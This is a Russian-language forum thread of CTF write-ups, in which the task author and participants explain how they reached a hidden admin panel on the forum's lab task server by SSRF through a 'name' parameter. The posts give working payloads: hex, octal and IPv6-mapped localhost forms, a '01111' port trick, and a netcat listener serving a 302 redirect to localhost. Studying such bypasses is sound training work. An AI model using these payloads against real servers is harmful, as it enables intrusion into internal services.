HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 04.05.2020, 18:20
manfromkz
Новичок
Регистрация: 17.04.2019
Сообщений: 2
С нами: 3724886

Репутация: 14
По умолчанию

Отличный таск! Спасибо @Baskin-Robbins
 
Ответить с цитированием

  #12  
Старый 04.05.2020, 23:38
Baskin-Robbins
Участник форума
Регистрация: 15.09.2018
Сообщений: 236
С нами: 4033046

Репутация: 212
По умолчанию

 
Ответить с цитированием

  #13  
Старый 10.05.2020, 18:13
Baskin-Robbins
Участник форума
Регистрация: 15.09.2018
Сообщений: 236
С нами: 4033046

Репутация: 212
По умолчанию

Нам предлагается получить доступ к административной панели,

в которой находится заветный флаг. Взглянем на задание.

Блог ИБ тематики.

Тем кто участвовал в предыдущих тасках наверняка в глаза бросился порт на котором

запущенно задание. Он четырехзначный(1111), вместо привычных пятизначных.

С чем это связано мы пока не знаем, поэтому просто держим в уме и продолжим изучать задание.

Посмотрим в сорцы.

Тут нас встречает title с заверением, что ничего необычного мы здесь не найдем.

15 ссылок на контент блога и, наверное, знакомые многим как минимум по ctf.antichat.com,

скрипты. Возможно поэтому не все на них обратили внимание.

Ну что ж, время пришло.

Наше внимание должен привлечь единственный, лежащий локально, скрипт tpl_style.min.js.

Ниже него расположен еще один бутстрап скрипт, но лежит он удаленно.

Посмотрим содержимое обоих скриптов... Они идентичны.

Возникает вопрос - зачем подгружаются два идентичных скрипта, причем один положили

локально? И как нам это может помочь?

Тут необходимо заострить внимание на имени локального скрипта. Ведь неспроста его назвали

tpl_style, а не просто style. И это подталкивает нас на мысль о том, что если имеется один

файл с префиксом, почему не может быть и других? Учитывая необходимость найти админку,

можно и попробовать.

Так как в задании указано, что пройти можно без брута, предполагаем одно из "стандартных"

имен админки - login, admin, administrator. Добавляем к ним префикс и находим верный

вариант - директорию tpl_admin с кодом ответа 403. Попытка обратиться к предполагаемым

скриптам внутри - index.php admin.php login.php administrator.php возвращает нам тот же 403.

.SpoilerTarget" type="button">Spoiler: Немного мыслей
Вообще необязательно сравнивать содержимое бутстраповских скриптов.

Тут немного иная идея.

Встречается использование "своих" префиксов на самописных сайтах для имен файлов и

директорий. Например target.com --> tgt_style.css, tgt_image и так далее,

ассоциируя префикс с доменом, хотя условие необязательное.

Определить префикс можно по css, js файлам в сорцах. Как

правило, располагаются они локально, либо загружаются с доверенных хостов.

На CMS, при условии, что сорцы доступны, мы можем просто посмотреть их, скачав(купив) ее.

wp-include, wp-admin мы видели и знаем. Но при blackbox самописного ресурса такая роскошь

недоступна. Поэтому на этот момент, наверное, будет не лишним обратить внимание.

Замечен интересный момент - со "своим" префиксом встречаются не только скрипты и

необходимые для работы приложения файлы, директории.

Встречались бэкапы и старые версии панелей, админок и других интересных вещей

с которыми можно было взаимодействовать, что несло под собой дополнительное

поле для деятельности.

Что касается таска, то оставлять один файл с префиксом показалось слишком простой задачей.

Поэтому было принято решение замаскировать его.

Продолжим изучать наш таргет.

В ссылках на контент блога мы видим параметр 'name' в который мы можем что-то передать.

Повтыкав понимаем, что передаваемые данные фильтруются.

Имеем возможность передавать диапазон символов [a-zA-Z0-9_\:\[\]/].

Пробуем использовать врапперы - доступен только http(s)://.

Далее логичным предположением было попробовать обратиться к таску через эту обертку, но ...

У нас фильтруется точка. Напрашивается вариант с localhost, но не все так просто - он фильтруется.

Тут нам необходимо вспомнить про представления хоста, а если точнее ip адреса,

в различных форматах. Информация эта давно известна, гуглится, поэтому кратко:

1) 127.0.0.0/8 или 0.0.0.0

Тут мешают точки. Мы знаем что 0 можно опускать, т.е. 127.0.0.1 = 127.1

Вариант http://0:1111/ не даст результата.

Есть варианты в восьмеричной и шестнадцатеричной системе, но мешают точки:

0x7f.0x00.0x00.0x01

0177.0.0.01

2) Есть возможность представить IPv4 в hex,dec,oct форматах без точек.

0x7f000001 или 0x0

017700000001 - локалхост получить не удастся, хотя удаленные ресурсы мы получаем.

Пример google.com = 172.217.11.78 = 025466205516

2130706433 - в dec аналогично, получаем только удаленные хосты.

Пример google.com = 172.217.11.78 = 2899905358

3) IPv6

Есть возможность использования(не совсем), на это намекают нефильтруемые квадратные скобки.

Обратится к локалхосту http://[::1] у нас не получится. Но есть возможность отображения

IPv4 в формате IPv6 - [::ffff:127.0.0.1]. Тут опять встает проблема фильтруемых точек.

Но использование hex сводит на нет эту проблему. В итоге получаем http://[::ffff:7f00:1].

Для перевода можно воспользоваться онлайн сервисами, например этим.

Теперь нас встречает вторая проблема - обратившись любым из способов выше к нашему таску,

нас встречает предупреждение фильтра. Фильтр на 1111 порт. Точнее на ":1111".

Тут возможны различные варианты байпаса - 0x09-0x0d, 0x20, 0x30. Для таска оставили один - 0.

.SpoilerTarget" type="button">Spoiler: Решение
http://task.antichat.com:1111/reader...111/tpl_admin/
 
Ответить с цитированием

  #14  
Старый 10.05.2020, 18:23
Unknown
Новичок
Регистрация: 21.06.2005
Сообщений: 1
С нами: 10992741

Репутация: 0
По умолчанию

Итак, по просьбам - врайтап о втором способе взлома.

Смотрим на URL'ы страниц таска. Пример:

Код:
http://task.antichat.com:1111/reader/index.php?name=info/1
Заметен параметр name,который получает что-то похожее на путь. Давайте попробуем выяснить, что туда можно передать.

Несложным перебором выясняем, что:

- Из врапперов доступен только http://

- Фильтруются все символы, кроме []:_/, причём / не может быть первым.

- Фильтруются localhostи :1111, что намекает на возможное обращение к http://localhost:1111/super-private.

Такое обращение будет локальным для сервера, и некоторые ограничения могут отключиться. Как мы узнаем дальше, так оно и есть.

Сделать ?name=http://localhost:1111/tpl_admin/ нам не даёт фильтрация localhostи :1111.

.SpoilerTarget" type="button">Spoiler
Please, don't it.

English, motherf*cker, do you speak it?

Поскольку нельзя точки, непонятно, как задавать хост. Работает хост task, но он не даёт ничего хорошего, потому что :1111 всё равно не работает. Любопытные результаты по ?name=http://task/. Так я узнал, что на task.antichat.ru/ есть апач без index.(php|html).

Окей, читаем RFC по URI, где написно, что они не одобряют кривые форматы IP-адресов, хоть они и используются, и парсинг IP зависит от реализации. Давайте почитаем, например, ман по inet_aton.Видим, что адреса - это не только четыре октета a.b.c.d, но и даже одно 32-битное число, можно десятичное, шестнадцатеричное или даже восьмеричное.

Применим эту логику к IP, например, гугла: 216.58.206.110, предварительно убедившись, что он вообще открывается по IP.

Код:
216.58.206.110 = D8.3A.CE.6E = 0xD83ACE6E (hex) = 3627732590 (dec) = 033016547156 (oct)
Все помнят, что IP адреса пишутся в прямом порядке байт (big-endian)?

Итак, переходим на http://task.antichat.com:1111/reader...://3627732590/ и видим (кажется, немецкий) гугл. Ура, умеем стучаться наружу. Можно было бы http://033016547156 или http://0xD83ACE6E, все три работают.

.SpoilerTarget" type="button">Spoiler
Любопытно, что мой браузер (Chrome) тоже поддерживает это безобразие. Если кликнуть по ссылкам выше, то откроется гугл. The more you know.

Для IP адреса 127.0.0.1 этот трюк не сработал. Ладно, поищем что-нибудь другое.

Немного читаем код php (брр!) и вспоминаем, что http:// враппер поддерживает редиректы.

То есть, если что-то в интернете нам ответит

Код:
HTTP/1.0 302 Found
Location: SOME_URL
То PHP перейдёт по SOME_URL, если посчитает его безопасным.Обычно безопасные - http(s) / (s)ftp. То есть, можно сделать

Код:
HTTP/1.0 302 Found
Location: http://localhost:1111/tpl_admin/
и сервер перейдёт по редиректу и отдаст нам админку. Там могут быть ограничения на redirect follow, но не попробуешь - не узнаешь.

Давайте же поднимем сервер (где-нибудь), который отдаст то, что сверху. Самое простое - так.

Код:
$ cat redirect
HTTP/1.0 302 Found
Location: http://localhost:1111/tpl_admin/

$ cat redirect | awk 1 ORS='\r\n' | nc -l 12345
awkвыше нужен, чтобы заменить \n на \r\n, в заголовках переносом строки является \r\n.

Переходим на адрес

Код:
http://task.antichat.com:1111/reader/index.php?name=http://:12345/
и видим флаг!
 
Ответить с цитированием

  #15  
Старый 10.05.2020, 18:37
Baskin-Robbins
Участник форума
Регистрация: 15.09.2018
Сообщений: 236
С нами: 4033046

Репутация: 212
По умолчанию

Прохождения участников

.SpoilerTarget" type="button">Spoiler: +++

Цитата:
Сообщение от gurux13  

Итого, мой url:
Код:
http://task.antichat.com:1111/reader/index.php?name=http://2995563432:9898/
А сервер отдаёт
Код:
HTTP/1.0 302 Found
Location: http://localhost:1111/tpl_admin/
Цитата:
Сообщение от gurux13  

Код:
http://task.antichat.com:1111/reader/index.php?name=http://[::ffff:7f00:1]:01111/tpl_admin/
Цитата:
Сообщение от manfromkz  

Привет!
Обходим фильтр с помощью HEX-представления:
Код:
0.0.0.0 => 0x0
http://task.antichat.com:1111/reader/index.php?name=http://0x0:01111/tpl_admin

127.0.0.1 => 0x7f000001
http://task.antichat.com:1111/reader/index.php?name=http://0x7f000001:01111/tpl_admin
Цитата:
Сообщение от manfromkz  

Привет!
На своем сервере делаем:
Код:
nc -lvp 1234
Как только запустился nc, пишем туда:
Код:
HTTP/1.1 301 Moved Permanently
Location: http://127.0.0.1:1111/tpl_admin
Connection:close
Превращаем айпи своего сервака в тот же hex и вызываем:
Код:
http://task.antichat.com:1111/reader/index.php?name=http://тут_айпи_в_хекс:1234
Проверил - работает.
Цитата:
Сообщение от joelblack  

В итоге нам подходит Hexadecimal IP
Код:
GET /reader/index.php?name=http://0x7F000001:01111/tpl_admin HTTP/1.1[/B]
Host: task.antichat.com:1111
2.Так как нам разрешены : и [], то понимаем что можем использовать ipv6
Link2
Код:
GET /reader/index.php?name=http://[::ffff:7f00:1]:01111/tpl_admin/ HTTP/1.1
Host: task.antichat.com:1111
Цитата:
Сообщение от Franky_T  

GET /reader/index.php?name=
http://0x7F000001:01111/tpl_admin
и получаем флаг
Благодарю всех за участие! Таск закрыт.
 
Ответить с цитированием

  #16  
Старый 10.05.2020, 18:49
fandor9
Постоянный
Регистрация: 16.11.2018
Сообщений: 620
С нами: 3943766

Репутация: 47


По умолчанию

Спасибо за таск, читаю прохождение со слезами на глазах с портом стормозил (самое главное знал ведь, что он фильтруется...)

task.antichat.com был видет в футере ошибки, так что вместо localhost срабатывал и http://task/.

И еще я заметил и меня это сильно удивило, что допустим http://task.antichat.com:1111/reader...ame=http://ai/ или http://task.antichat.com:1111/reader...ame=http://dk/ отдавал чужие страницы. Я сначала подумал что RFI, но заветное пхпинфо ничего не дало, а лишь выдало само себя как текст.

Upd:

Ах да, в порывах чувств забыл поблагодарить за таск)) Так что, спасибо, от души!
 
Ответить с цитированием

  #17  
Старый 11.05.2020, 10:20
MichelleBoxing
Новичок
Регистрация: 12.11.2018
Сообщений: 19
С нами: 3949526

Репутация: 57
По умолчанию

интересный таск, узнал много нового в ходе поиска решения, было очень интересно. Спасибо автору

.SpoilerTarget" type="button">Spoiler
Само решение, оказалось для меня слишком, не логичным что ли...

Админку я бы не нашел сам, поскольку когда пишут, что не нужен никакой брутфорс (то я автоматом исключаю какие то гадания и ищу нечто, что явно должно указывать на искомое, но это моя проблема, уже не в первом таске с этим обжигаюсь )

По фильтру, к сожалению забрел в некуда. Вроде сразу понятно, что врапперы кроме http/s запрещены, локалхост и порт 1111 также.

В сети гуглится,как это обходить, можно обойти адрес через разные представления, пробовал в виде int IP

2130706433 и ipv6 через [::1] не работает ( делаю ошибочный вывод, что это не то...) . Посмотрев решения, не понимаю, почему работает 0x и не работают другие представления, ipv6 еще может быть отключен, но почему не работает 2130706433, это как то не логично, они все же позволяют обойти фильтр (не понятно в чем разница)

пробую через http://task и вроде работает, но нет он открывает и соседние таски и дефолтную страницу apache на task.antichat.com по этому хостнейму (значит это не совсем локалхост и поэтому у меня админка не открывается).

Дальше пробую task11 и вижу, что этот хостнейм работает и дефолтная страница apache с task11.antichat.com не открывается (думаю ну наверное это мой локалхост, но и тут админка не открывается ). В итоге я так и не понял, что это за хостнейм и как он с враппером работает (какая то муть от докера (опять же мои догадки и только) или в таске так предусмотрено.

Тут наступает тупик, потом полазив еще раз и потыкав таск обнаруживаю, что работает редирект на http://task/reader?name=... который исправляет ссылку на http://task/reader/?name=...

Тут первое, что приходит в голову это ssrf, но мешает фильтруемый ? (делаю ошибочный вывод, после подсказки что это вторая часть фильтра, которую нужно обойти, уже пытаюсь найти инфу, как это можно обойти и ничего не нахожу )

Сейчас, посмотрев решение, интерсно, сработает ли двойной редирект, через мой хост (хотя он там уже и не нужен...)

Еще раз спасибо автору, много нового узнал для себя в ходе поиска решения.
 
Ответить с цитированием

  #18  
Старый 11.05.2020, 11:10
Baskin-Robbins
Участник форума
Регистрация: 15.09.2018
Сообщений: 236
С нами: 4033046

Репутация: 212
По умолчанию

Для решения задачки все таки требуется некоторая хакерская смекалка.

Да, зайдет не всем и это логично. Но это тот момент, когда действительно

уравниваются шансы как новичков так и спецов.

По поводу хоста - да, можно было запутаться. Я намекал на другое представление

тем кто присылал полный готовый ответ, но с другим представлением и логичным

вопросом почему же не работает, хотя контент блога отдает.

Здесь наверное важно вынести такой момент - не стоит останавливаться, попробовав

пару вариантов. Пробовать нужно все. Ну а если говорить о логичности работы одного

представления и неработы другого - этот вопрос наверное лучше задать разрабам php.

Для меня было важно чтобы хост был представлен в "непривычном" виде, а какой именно -

на усмотрение проходящих, поэтому и был добавлен вариант с [::ffff:0:0].
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.